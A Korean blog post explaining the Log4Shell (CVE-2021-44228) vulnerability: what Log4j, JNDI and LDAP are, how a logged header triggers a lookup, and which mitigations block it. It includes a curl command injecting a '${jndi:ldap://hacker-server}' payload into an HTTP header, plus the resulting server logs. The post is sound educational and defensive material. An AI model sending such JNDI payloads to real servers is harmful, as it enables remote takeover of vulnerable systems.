[보안] Log4j 보안 취약점 동작원리 - (1)

2021년 12월 9일, 전세계 IT 업계를 떠들썩하게 만든 보안 이슈가 발생했다. 

Java 기반으로 만들어진 서버에서 대부분 사용하는, 아주 흔하디 흔한 라이브러리인 'Log4j'를 활용하여 서버 탈취가 가능한 것이 그 이유였다. 업계 관계자들은 지난 10년간 가장 크고 가장 심각한 취약점이라고 말하기도 한다.

이렇게 뜨거운 감자가 된 Log4j의 보안이슈에 대해 이번 포스팅을 통해 한번 알아보자!

 

 

Log4j 란?

 : 자바 기반 로깅(Logging) 유틸리티로, User가 제품의 문제나 정보를 식별하기 위해 또는 소프트웨어 개발자가 프로그램을 개발하는 도중 디버깅 등을 위해 타임스탬프(Time Stamp) 등의 정해진 양식에 맞추어 화면상이나 파일로 로그를 남길 목적으로 사용되는 라이브러리

 

"그래서 이번에 이슈가 된 내용이 뭐야?"

=> 2.14.1 이하의 Log4j 2 에 포함되어 있는 JNDI 기능이 공격자(Attacker)의 LDAP 및 기타 JNDI 관련 End Point로부터 악용될 수 있다는 얘기이다. 그러니까, 단순히 로그만 남기는 줄 알았던 라이브러리가 해커에게 어떤 정보를 제공하고 그 정보를 이용하면 로그를 남겼던 그 서버를 해킹해서 서버에 있는 정보를 마구마구 이용(삭제, 변경, 다운로드, 원격 제어 등)할 수 있다는 말이다!

---

"로그를 이용해서 서버를 탈취한다는건 알겠어. 그럼 JNDI는 뭐고, LDAP는 뭔데...?"

 

먼저 JNDI부터 알아보자!

 

JNDI 란?

 : Java Naming and Drirectory Interface의 약자로, *디렉토리 서비스(Directory Service)에서 제공하는 데이터 및 객체를 발견하고 lookup(참고), querying, binding하기 위한 자바 API.

=> 쉽게 얘기하면, 어떤 특정한 서비스의 기능(?) (객체라고 보는게 맞다.) 을 사용하기 위해, 정해진 이름을 활용하여 쉽게 호출할 수 있도록 하는 API인 것이다.

 

* 디렉토리 서비스(Directory Serivce) : 컴퓨터 네트워크의 사용자와 네트워크 자원에 대한 정보를 저장하고 조직하는 응용 소프트웨어

 

 

LDAP 란 ?

 : Lightweight Directory Access Protocol의 약자로, 네트워크 상에서 조직 및 개인정보 혹은 파일 및 디바이스 정보 등을 쉽게 조회할 수 있도록 만든 소프트웨어 프로토콜이다. 네트워크 상의 디렉토리 서비스 표준인 X.500의 DAP(Directory Access Protocol)를 기반으로 한 경량화된 DAP버전이다.

OSI 전체 프로토콜 스택을 지원하며 운영에 매우 많은 컴퓨팅 자원을 필요로 했던 DAP에서 복잡성을 줄이고 TCP/IP 레이어에서 지원하여 더 적은 비용으로 DAP의 많은 기능적인 부분을 조작할 수 있도록 한 것이다.

=> JNDI를 외부에서 호출할 수 있는 프로토콜이다.

---

 이렇게 각 용어들의 개념을 봤는데도, 해킹이 이뤄지는 과정이 아직 잘 이해되지 않을 수 있다.

문제의 Log4j의 기능은 log4j가 로그를 출력할 때, 해당 로그에 사용자ID 등과 정보가 있다면 내부에서 운영중인 LDAP 서버 등에 접속하여 해당 정보를 변환하는 기능을 제공하는데, 해커가 이러한 점을 악용하여 내부 운영중인 LDAP가 아닌 해커의 악성 서버로 접속하게끔 로그를 조작한다면, 내부 서버(Victim Server)는 해커의 의도된 악성서버에 접속하여 해커가 의도한대로(악성코드를 받는 등) 동작하게 되는 것이다.

 

 예를 들어, Log4j를 통해 아래와 같은 로그가 남는다고 하자.

log.info("Reqeust User Agent:{}", request.getHeader("X-Api-Version"));

위와 같은 로그를 아래와 같이 해커가 악의적으로 HTTP의 header의 X-Api-Version 값에 해커의 악성서버 주소로 설정한 다음 요청을 보내면, Log4j의 기존 동작원리에 의해 해커의 악성서버로 Request(요청)가 전송되는 방식이다.

curl 127.0.0.1:8080 -H 'X-Api-Version:${jndi:ldap://hacker-server}'

위와 같은 해커의 공격이 있게 되면, 아래와 같은 로그가 서버에 남게 되는데, 로그를 보면 'ldap://hacker-server' 라는 name으로 JNDI를 호출한 것을 볼 수 있다.

• 2021-12-12 07:19:17.375 WARN 1 --- [nio-8080-exec-1] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present]
• 2021-12-12 07:19:34,650 http-nio-8080-exec-2 WARN Error looking up JNDI resource [ldap://hacker-server]. javax.naming.CommunicationException: hacker-server:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]

---

다음 그림은 네트워크 환경을 포함한 Log4j의 영향도이다.

네트워크 환경을 포함한 log4j의 취약점 및 공격 차단 지점

 위 그림에서 숫자와 선으로 연결된 코드들이 해커의 공격시도임을 나타낸다. 그리고 빨간색의 글씨들은 각 공격 단계에서 공격이 차단될 수 있는 경우를 말한다.

 공격이 차단되는 경우를 하나씩 살펴보며, log4j의 취약점을 어떻게 보완할 수 있을지 생각해보자!

 

• BLOCK WITH WAF : WAF(Web Application Firewall) 즉, 방화벽 단계에서 Attacker(공격자)의 공격 패턴을 막는 경우이다.
• DISABLE LOG4J : log4j를 사용하는 시스템이 존재하지 않는 경우이다.
• PATCH LOG4J : log4j의 버전을 2.15.0 이상으로 업데이트하여 사용하는 경우이다. (현재 가장 권장되는 방법)
• DISABLE JNDI LOOKUPS : log4j의 JNDI LookUP 기능이 비활성화 되어 있는 경우이다.
• log4j를 사용하긴 하지만 공격자가 예측할 수 없는 형태의 파라미터로 로그를 남기는 경우에도 공격이 차단될 수 있다.
  즉, 로그에서 공격자가 예측할 수 있는 'User-Agent' 헤더 필드나 'X-API-Version' 헤더 필드를 사용하는 것이 아닌, 서버의 Admin만이 확인할 수 있는 문자열로 log4j의 로그 기록 형식 자체를 바꿔버리는거나 예측 가능한 부분을 아예 없애는 것이다.
• DISABLE REMOTE CODEBASES : log4j를 사용하는 시스템에서 LDAP 등의 JNDI 엔드포인트(End Point)와 통신이 불가능한 경우로, 주로 외부망과는 차단된 내부망 시스템에서 가능한 경우라고 볼 수 있다.
  (단, 공격은 내부에서도 시작될 수 있다는 것을 명심해야 한다! 내부의 적이 가장 강하고 무서운 법이다.)

 

여기까지 Log4j 보안 취약점의 동작원리에 대하여 살펴봤다.

다음 포스팅에서는 Log4j 사태에 따른 KISA 가이드라인 및 사용중인 log4j의 버전별, Vendor별 대응방안에 대해 알아보자!

 

 

 

참고

https://always-try.tistory.com/172

Log4j 보안 취약점 (CVE-2021-44228) 동작 원리 테스트 및 조치 방안 1/3 - 취약점 개요

https://always-try.tistory.com/174?category=959332 

Log4j 보안 취약점 (CVE-2021-44228) 동작 원리 테스트 및 조치 방안 3/3 - 취약점 점검 및 대응 방안

https://selfish-developer.com/entry/log4j-%EC%9D%B4%EC%8A%88-%EC%82%B4%ED%8E%B4%EB%B3%B4%EA%B8%B0

log4j 이슈 살펴보기